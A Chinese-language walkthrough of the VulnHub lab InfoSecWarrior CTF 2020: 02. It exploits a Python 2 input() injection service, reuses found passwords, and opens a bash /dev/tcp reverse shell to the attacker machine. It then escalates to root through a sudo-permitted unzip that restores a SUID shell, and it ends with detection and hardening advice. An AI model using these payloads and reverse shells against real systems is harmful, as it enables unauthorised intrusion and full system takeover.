InfoSecWarrior CTF 2020: 02靶场渗透
InfoSecWarrior CTF 2020: 02
来自 <https://www.vulnhub.com/entry/infosecwarrior-ctf-2020-02,447/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.150
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.150
1. 22/tcp(SSH 服务):基础远程管理端口
- 服务版本:OpenSSH 7.6p1 Ubuntu 4ubuntu0.3,对应Ubuntu Linux 系统(Ubuntu 18.04 LTS 等版本默认搭载此 SSH 版本),协议版本 2.0(主流安全协议版本,无协议层面漏洞)。
- 密钥信息:返回 3 类 SSH 主机密钥(RSA 2048 位、ECDSA 256 位、ED25519 256 位),密钥长度符合安全标准(无短密钥风险),但需注意:
- 若该主机是内网常用服务器,需确认密钥是否已被未授权人员获取(避免密钥登录泄露);
- 需检查 SSH 配置(如/etc/ssh/sshd_config)是否禁用密码登录、限制登录 IP(当前扫描未暴露配置问题,需进一步验证)。
- 已知漏洞:OpenSSH 7.6p1(2018 年发布)无高危远程代码执行漏洞(如 Logjam、Shellshock 等均不影响此版本),但需警惕弱口令风险(若允许密码登录,可能被暴力破解)。
2. 56563/tcp(未知服务):高风险自定义服务
- 服务识别:Nmap 标记为 “unknown”,但通过fingerprint-strings(字符串指纹)可明确核心信息:
- 服务本质是运行一个Python 脚本(./script.py),功能是 “接收用户输入的 ping 包数量并执行 ping 操作”(提示语:Please input number of ping packet you want to send??:);
- 脚本存在严重代码漏洞:当 Nmap 发送空输入或非数字输入时,触发 Python 语法错误(SyntaxError: unexpected EOF while parsing),根源是脚本未对用户输入做任何校验(直接用int(input(...))转换输入,无异常捕获逻辑)。
- 安全风险(高危):
- 输入注入漏洞:若脚本以高权限(如 root)运行,攻击者可通过构造特殊输入(如1; bash -i >& /dev/tcp/攻击者IP/端口 0>&1)执行命令注入,获取目标主机 shell;
- 信息泄露:脚本路径(./script.py)、错误行数(line 18)直接暴露,为攻击者后续渗透提供明确目标;
- 端口暴露风险:56563 是非常规端口,大概率是管理员手动运行的自定义脚本,未做防火墙限制,直接暴露在局域网中,易被内网攻击者利用。
4,用浏览器访问56563端口
尝试扫描其网站子目录
gobuster dir -u http://192.168.23.150:56563/ -w /usr/share/wordlists/dirb/common.txt -t 5 -d 2s -b 400,404,403,500
扫描失败,再尝试telnet连接
telnet 192.168.23.150 56563
输入1,观察判断在执行系统命令ping -c {num} 127.0.0.1命令。
尝试输入命令拿到shell
__import__('os')__.system("/bin/bash")
5,在靶机信息收集一下
靶机存在四个系统用户,并且得到了组密码czNjcjN0
而且得到了56563端口运行的脚本,这就是这个脚本构成了命令执行漏洞
1. run.sh 的作用
socat TCP-LISTEN:56563,reuseaddr,fork EXEC:./script.py,pty,stderr,echo=0 &
- 使用 socat 在本地监听 56563 端口。
- 一旦有连接进来,就执行 script.py 并把交互 I/O 绑定到这个 TCP 会话上。
- 这就等于把 script.py 当成一个“网络服务”暴露了出去。
所以,外部用户只要连接 56563 端口,就能和 script.py 进行交互。
2. script.py 的关键点
num = int(input(' Please input number of ping packet you want to send??: '))
危险点:input()
- 在 Python 2 中,input() 并不是简单地读取字符串,而是会直接 把用户输入当作 Python 表达式去执行,等价于 eval(raw_input(...))。
- 也就是说,假如用户输入 5,就相当于执行 int(5) → 正常。
- 但如果输入 "__import__('os').system('id')",就会被执行,等效于:
int(__import__('os').system('id'))
从而触发系统命令执行。
3. 为什么构成命令执行漏洞
- 攻击者连上 56563 端口 → 输入恶意 payload,而不是数字。
- input() 直接把 payload 当作 Python 代码执行。
- Python 内建函数、模块(os, subprocess)都能调用,从而执行任意系统命令。
- 由于 socat 开的服务没有任何权限隔离,执行命令的上下文就是运行该脚本的用户权限。
4. 示例攻击场景
攻击者输入:
__import__('os').system('ls')
脚本会执行 ls,并把结果显示在 socat 会话中 → 直接拿到命令执行能力。
总结
- 漏洞点:Python2 的 input() 会执行用户输入 → 任意代码执行。
- 环境因素:脚本通过 socat 对外暴露成网络服务 → 攻击面暴露。
- 最终效果:远程攻击者可在目标系统上执行任意命令。
6,尝试使用组密码登录登录ck04用户
ssh ck04@192.168.23.150
登录失败,再回到靶机做信息收集
cat /etc/*-release
疑似得到ck04账户密码bionic,尝试登录,结果成功
但是执行一个命令后SSH就中断连接了。再测试发现输入/bin/bash,可以转为shell
7,这个shell不能执行渗透测试所必须的命令,可以反弹shell获取一个正常的shell
bash -i >& /dev/tcp/192.168.23.128/4444 0>&1
kali打开端口监听
nc -lvvp 4444
成功得到一个正常的shell。信息收集一下
8,查看一下怎么进行sudo提权/横向移动
发现sudo允许以bla权限执行所有命令,直接切换用户到bla
sudo -u bla /bin/bash
切换用户成功,python脚本获取一个可交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
9,接着看怎么进行sudo提权
查阅手册以进行提权
cd /home/bla
cp /bin/sh .
chmod +s sh
zip shell.zip sh
sudo /usr/bin/unzip -K shell.zip
./sh -p
提权成功,成功得到flag
概述(一句话结论)
根本原因是:你被允许用 sudo 以 root 身份运行 unzip,而 unzip 在以 root 身份解压时会把归档中记录的权限/模式(包括可执行位和 SUID 位)写回文件系统;因此攻击者把一个带 SUID 标志的 shell 放到压缩包里,让 root 帮他“写出来”并成为 root 所有,从而得到 setuid root 的可执行文件并获取 root shell(或通过带 -p 的 shell 保持特权)。这类行为在历史上确有因 unzip 恶性用法导致的本地提权报告/CVE。
按步骤的技术分析
- cp /bin/sh .
把系统的 shell(二进制可执行,如 ELF /bin/sh 或 /bin/bash)拷贝到当前目录。关键点是 这里拷贝的是二进制可执行文件,而不是脚本;setuid 只对二进制生效(内核通常会忽略对脚本的 setuid)。因此拷贝 shell 为后续设置 SUID 提权奠定基础。 - chmod +s sh
这一步在拷贝的文件上设置了 SUID(setuid)位。SUID 的语义是:当任何用户执行该可执行文件时,进程的 effective UID 会被设置为该文件的所有者(owner)的 UID,从而临时以该所有者的权限运行。现在文件所有者还是普通用户(bla),所以在本地直接执行并不会立刻变成 root — 关键在于下一步让 root 来“创建/写入”这个文件,从而变成 root 所有。 - zip shell.zip sh
将带有 SUID 标志(和执行位)的二进制放入 zip 包。ZIP/Info-ZIP 格式可以记录 UNIX 模式信息(权限位),因此归档里会包含该文件的模式信息。这样的归档供后续被 root 解压时“还原”模式。关于归档保存权限/模式的行为在不同工具/版本上有差异,但 zip/unzip 常常会记录并恢复这些信息。 - sudo /usr/bin/unzip -K shell.zip(关键一步)
关键点:sudo 允许你以 root 身份执行 /usr/bin/unzip(从 sudo -l 的输出看这是被允许的命令)。当 unzip 以 root 身份运行时,它在创建/写入解压出的文件时会以 root 身份创建文件(即文件的所有者会是 root),同时它会尝试还原归档里记录的权限位(包括 SUID)。结果就是:解压出来的 sh 变成了 root 所有,且带有 SUID 位 —— 也就是一个 setuid-root 的可执行文件,任何人执行它都会以 root 权限运行。历史上 Info-ZIP/unzip 的这种行为被多次当作提权路径并有相应漏洞报告。
注:不同 unzip 版本/构建及不同系统的挂载选项(例如 nosuid)会影响最终行为;但在很多默认环境下,上述行为是成立的。也有历史上 unzip 没有对解压出 setuid/setgid 文件提示/限制的漏洞记录。 - ./sh -p(拿到 shell)
执行该二进制:因为文件现在是 root 所有且带 SUID,执行时进程的 effective UID 会被置为 0(root)。有些 shell 会在检测到 setuid 情形时主动放弃特权以避免被滥用;很多 shell 提供 -p(privileged)选项来“保持特权/不去掉特权环境”,因此 ./sh -p 可以使得交互 shell 在保留 root 特权的情况下交互,从而获得一个 root 交互 shell(取决于具体的 shell 实现)。(不同系统/不同 shell 的行为细节会有不同,但这是常见成功手法。)
为什么这是“漏洞/不安全”的(要素总结)
- 最危险的一点是 sudo 权限的范围太宽:允许普通用户无密码运行一个通用的归档/解压工具(unzip)本身就危险,因为归档可以包含任意模式与文件名。这里的核心是 “以 root 身份运行一个会创建文件的通用工具” 会把归档作者能控制的权限写成 root 所有。
- 归档格式会保存权限位,解压工具往往会还原这些位(在 root 操作下)
- Info-ZIP/unzip 的历史问题:历史上 unzip 在处理 setuid/setgid 文件时没有足够提示或限制,出现过 CVE/报告。
限制与例外(什么时候不成立)
- 如果目标分区挂载了 nosuid,内核会忽略 setuid 位 —— 那么即使解出来的文件标注了 SUID,执行时也不会得到 elevated uid。
- 如果 unzip 是被限制或打了安全补丁(某些发行版会对 info-zip 进行修补,或在解压时拒绝恢复 setuid),则方法失败。
- 如果被拷贝的不是二进制(而是脚本),Linux 内核通常会忽略 script 的 SUID(多数系统如此),因此 setuid 脚本不能用来提权。
检测(找出可疑的 setuid 文件 / 非标准目录下的 root-owned SUID):
# 查找全系统中所有 setuid root 可执行文件(管理员用)
sudo find / -perm -4000 -type f -exec ls -ld {} \;
(这类命令可以帮助发现家目录或 /tmp 下出现的 setuid 文件。)
修复建议(优先级顺序):
- 收紧 sudo 规则:不要允许普通用户无密码运行像 unzip、tar、zip、dpkg、rpm、编辑器、虚拟机管理器等泛用工具;如果必须允许,限制为特定参数和路径,或使用脚本包装并严格验证输入。
- 删除/撤销不必要的 NOPASSWD:sudo -l 里看到 NOPASSWD: /usr/bin/unzip(或类似)时应审计并移除。
- 在文件系统层面使用 nosuid(对某些挂载点):例如对用户上传目录或临时目录根据需要挂 nosuid。注意这会影响某些合法用例。
- 使用更严格的解压策略:如果需要由非 root 用户触发解压,尽量用受限的解压服务(在容器或 chroot 环境、最小特权的 helper 进程中),并显式去掉 setuid 位或拒绝带有 setuid 的归档。
- 日志与审计:记录 sudo 执行记录、解压日志,发现 root 在非预期目录下创建了 SUID 文件应发出告警。
总结(要点回顾)
- 本次提权链条的关键三件事是:sudo 对 unzip 的授权(以 root 执行解压)、zip/unzip 会携带/恢复文件权限(包括 SUID),以及用的是二进制 shell(setuid 在二进制上有效)。历史上 unzip 因为这类行为被当作本地提权路径并有 CVE/报告
- 防护的核心是:不要把通用归档/解压类工具直接以 root 权限开放给不受信任用户;同时监测非标准位置出现的 setuid-root 文件